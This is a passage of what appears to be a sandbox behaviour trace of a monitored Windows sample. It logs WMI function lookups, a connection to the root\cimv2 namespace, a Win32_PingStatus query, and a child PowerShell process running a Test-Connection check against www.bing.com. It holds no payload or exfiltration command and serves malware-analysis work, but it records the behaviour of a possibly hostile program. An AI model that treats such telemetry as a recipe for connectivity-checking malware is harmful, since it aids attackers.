lpUsedDefaultChar=0x0) returned 3 [0121.179] GetProcAddress (hModule=0x6a810000, lpProcName="Put") returned 0x6a817a00 [0121.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x5ece754, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 6 [0121.194] GetProcAddress (hModule=0x6a810000, lpProcName="Delete") returned 0x6a817300 [0121.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x5ece750, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 8 [0121.205] GetProcAddress (hModule=0x6a810000, lpProcName="GetNames") returned 0x6a8177c0 [0121.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x5ece748, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 16 [0121.244] GetProcAddress (hModule=0x6a810000, lpProcName="BeginEnumeration") returned 0x6a816e30 [0121.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x5ece754, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 4 [0121.253] GetProcAddress (hModule=0x6a810000, lpProcName="Next") returned 0x6a8179a0 [0121.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x5ece74c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 14 [0121.333] GetProcAddress (hModule=0x6a810000, lpProcName="EndEnumeration") returned 0x6a8173c0 [0121.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x5ece740, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0121.341] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyQualifierSet") returned 0x6a8178b0 [0121.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5ece754, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 5 [0121.353] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0121.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x5ece74c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectTextm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 13 [0121.354] GetProcAddress (hModule=0x6a810000, lpProcName="GetObjectText") returned 0x6a8177f0 [0121.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x5ece748, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 17 [0121.366] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnDerivedClass") returned 0x6a817e80 [0121.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x5ece74c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstancem·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 13 [0121.457] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnInstance") returned 0x6a817eb0 [0121.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x5ece750, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTom·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 9 [0121.459] GetProcAddress (hModule=0x6a810000, lpProcName="CompareTo") returned 0x6a817020 [0121.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x5ece748, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 17 [0121.470] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyOrigin") returned 0x6a817880 [0121.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x5ece74c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 12 [0121.485] GetProcAddress (hModule=0x6a810000, lpProcName="InheritsFrom") returned 0x6a817900 [0121.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x5ece750, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 9 [0121.487] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethod") returned 0x6a817730 [0121.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x5ece750, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethodm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 9 [0121.596] GetProcAddress (hModule=0x6a810000, lpProcName="PutMethod") returned 0x6a817bf0 [0121.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x5ece74c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 12 [0121.609] GetProcAddress (hModule=0x6a810000, lpProcName="DeleteMethod") returned 0x6a817320 [0121.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x5ece744, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 22 [0121.611] GetProcAddress (hModule=0x6a810000, lpProcName="BeginMethodEnumeration") returned 0x6a816e50 [0121.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x5ece750, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 10 [0121.613] GetProcAddress (hModule=0x6a810000, lpProcName="NextMethod") returned 0x6a8179d0 [0121.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x5ece744, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 20 [0121.626] GetProcAddress (hModule=0x6a810000, lpProcName="EndMethodEnumeration") returned 0x6a8173e0 [0121.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x5ece744, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSetm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 21 [0121.628] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodQualifierSet") returned 0x6a817790 [0121.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x5ece748, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0121.630] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodOrigin") returned 0x6a817760 [0121.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x5ece748, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 16 [0121.632] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Get") returned 0x6a817c80 [0121.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x5ece748, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 16 [0121.743] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Put") returned 0x6a817d10 [0121.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x5ece744, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0121.759] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Delete") returned 0x6a817c40 [0121.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x5ece744, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNamesm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 21 [0121.761] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_GetNames") returned 0x6a817cb0 [0121.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x5ece73c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumerationm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 29 [0121.777] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a817c20 [0121.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x5ece748, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Nextm·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 17 [0121.873] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Next") returned 0x6a817ce0 [0121.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x5ece73c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0121.886] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a817c60 [0121.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x5ece740, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0121.887] GetProcAddress (hModule=0x6a810000, lpProcName="GetCurrentApartmentType") returned 0x6a8178e0 [0121.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x5ece744, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 20 [0121.895] GetProcAddress (hModule=0x6a810000, lpProcName="GetDemultiplexedStub") returned 0x6a8175f0 [0121.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x5ece744, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmim·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 21 [0121.907] GetProcAddress (hModule=0x6a810000, lpProcName="CreateInstanceEnumWmi") returned 0x6a817230 [0122.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x5ece748, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 18 [0122.037] GetProcAddress (hModule=0x6a810000, lpProcName="CreateClassEnumWmi") returned 0x6a817160 [0122.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x5ece74c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 12 [0122.039] GetProcAddress (hModule=0x6a810000, lpProcName="ExecQueryWmi") returned 0x6a8174e0 [0122.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x5ece740, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 24 [0122.175] GetProcAddress (hModule=0x6a810000, lpProcName="ExecNotificationQueryWmi") returned 0x6a817400 [0122.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x5ece74c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 14 [0122.177] GetProcAddress (hModule=0x6a810000, lpProcName="PutInstanceWmi") returned 0x6a817b10 [0122.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x5ece74c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0122.298] GetProcAddress (hModule=0x6a810000, lpProcName="PutClassWmi") returned 0x6a817a30 [0122.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x5ece740, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 24 [0122.299] GetProcAddress (hModule=0x6a810000, lpProcName="CloneEnumWbemClassObject") returned 0x6a816f50 [0122.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x5ece748, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 16 [0122.321] GetProcAddress (hModule=0x6a810000, lpProcName="ConnectServerWmi") returned 0x6a817050 [0122.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x5ece74c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo»m·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 12 [0122.436] GetProcAddress (hModule=0x6a810000, lpProcName="GetErrorInfo") returned 0x6a817650 [0122.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x5ece750, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initialize·q\x8d\x1bá\x9cDþ+q(êì\x05", lpUsedDefaultChar=0x0) returned 10 [0122.442] GetProcAddress (hModule=0x6a810000, lpProcName="Initialize") returned 0x6a817920 [0122.450] CoCreateInstance (in: rclsid=0x6a813734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a813794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5ecee78 | out: ppv=0x5ecee78*=0x4f35cc8) returned 0x0 [0122.450] WbemLocator:IWbemLocator:ConnectServer (in: This=0x4f35cc8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5ecef18 | out: ppNamespace=0x5ecef18*=0x514d00) returned 0x0 [0125.256] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eced9c | out: ppvObject=0x5eced9c*=0x5354ec) returned 0x0 [0125.273] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5354ec, pProxy=0x514d00, pAuthnSvc=0x5ecedec, pAuthzSvc=0x5ecede8, pServerPrincName=0x5ecede0, pAuthnLevel=0x5ecede4, pImpLevel=0x5ecedd4, pAuthInfo=0x5ecedd8, pCapabilites=0x5eceddc | out: pAuthnSvc=0x5ecedec*=0xa, pAuthzSvc=0x5ecede8*=0x0, pServerPrincName=0x5ecede0, pAuthnLevel=0x5ecede4*=0x6, pImpLevel=0x5ecedd4*=0x2, pAuthInfo=0x5ecedd8, pCapabilites=0x5eceddc*=0x1) returned 0x0 [0125.273] WbemLocator:IUnknown:Release (This=0x5354ec) returned 0x1 [0125.273] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eced90 | out: ppvObject=0x5eced90*=0x53550c) returned 0x0 [0125.273] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eced7c | out: ppvObject=0x5eced7c*=0x5354ec) returned 0x0 [0125.273] WbemLocator:IClientSecurity:SetBlanket (This=0x5354ec, pProxy=0x514d00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.274] WbemLocator:IUnknown:Release (This=0x5354ec) returned 0x2 [0125.274] WbemLocator:IUnknown:Release (This=0x53550c) returned 0x1 [0125.274] CoTaskMemFree (pv=0x4f1c910) [0125.274] WbemLocator:IUnknown:AddRef (This=0x514d00) returned 0x2 [0125.274] WbemLocator:IUnknown:Release (This=0x4f35cc8) returned 0x0 [0125.274] CoGetContextToken (in: pToken=0x5ece2d0 | out: pToken=0x5ece2d0) returned 0x0 [0125.275] CoGetContextToken (in: pToken=0x5ece6e4 | out: pToken=0x5ece6e4) returned 0x0 [0125.275] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ece67c | out: ppvObject=0x5ece67c*=0x5354f4) returned 0x0 [0125.275] WbemLocator:IRpcOptions:Query (in: This=0x5354f4, pPrx=0x4f25cf8, dwProperty=2, pdwValue=0x5ece770 | out: pdwValue=0x5ece770) returned 0x80004002 [0125.275] WbemLocator:IUnknown:Release (This=0x5354f4) returned 0x2 [0125.275] CoGetContextToken (in: pToken=0x5ececb4 | out: pToken=0x5ececb4) returned 0x0 [0125.275] CoGetContextToken (in: pToken=0x5ecec14 | out: pToken=0x5ecec14) returned 0x0 [0125.275] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x5ecece4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5ecebb0 | out: ppvObject=0x5ecebb0*=0x514d00) returned 0x0 [0125.276] WbemLocator:IUnknown:Release (This=0x514d00) returned 0x2 [0125.276] SysStringLen (param_1=0x0) returned 0x0 [0125.276] CoUninitialize () Thread: id = 148 os_tid = 0xd58 [0125.323] CoGetContextToken (in: pToken=0x5f0f098 | out: pToken=0x5f0f098) returned 0x0 [0125.323] CoGetContextToken (in: pToken=0x5f0f084 | out: pToken=0x5f0f084) returned 0x0 [0125.324] CoGetMarshalSizeMax (in: pulSize=0x5f0f040, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x4f25cf8, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x5f0f040) returned 0x0 [0125.325] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x4f25cf8, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.328] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x4f13260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f0ef80 | out: ppvObject=0x5f0ef80*=0x514d00) returned 0x0 [0125.328] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f0ef1c | out: ppvObject=0x5f0ef1c*=0x514d00) returned 0x0 [0125.328] WbemLocator:IUnknown:QueryInterface (in: This=0x514d00, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f0eed4 | out: ppvObject=0x5f0eed4*=0x514d00) returned 0x0 [0127.052] IWbemServices:GetObject (in: This=0x514d00, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x5f0f098*=0x0, ppCallResult=0x0 | out: ppObject=0x5f0f098*=0x4f4b758, ppCallResult=0x0) returned 0x0 Thread: id = 164 os_tid = 0x930 Thread: id = 168 os_tid = 0x948 Thread: id = 172 os_tid = 0x958 Thread: id = 177 os_tid = 0xa7c Process: id = "3" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x36552000" os_pid = "0xf1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Test-Connection www.bing.com" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1391 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1392 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1393 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1394 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1395 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1396 start_va = 0xf0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1397 start_va = 0x2a0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1398 start_va = 0xa70000 end_va = 0xadafff monitored = 0 entry_point = 0xa7d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1399 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1400 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = 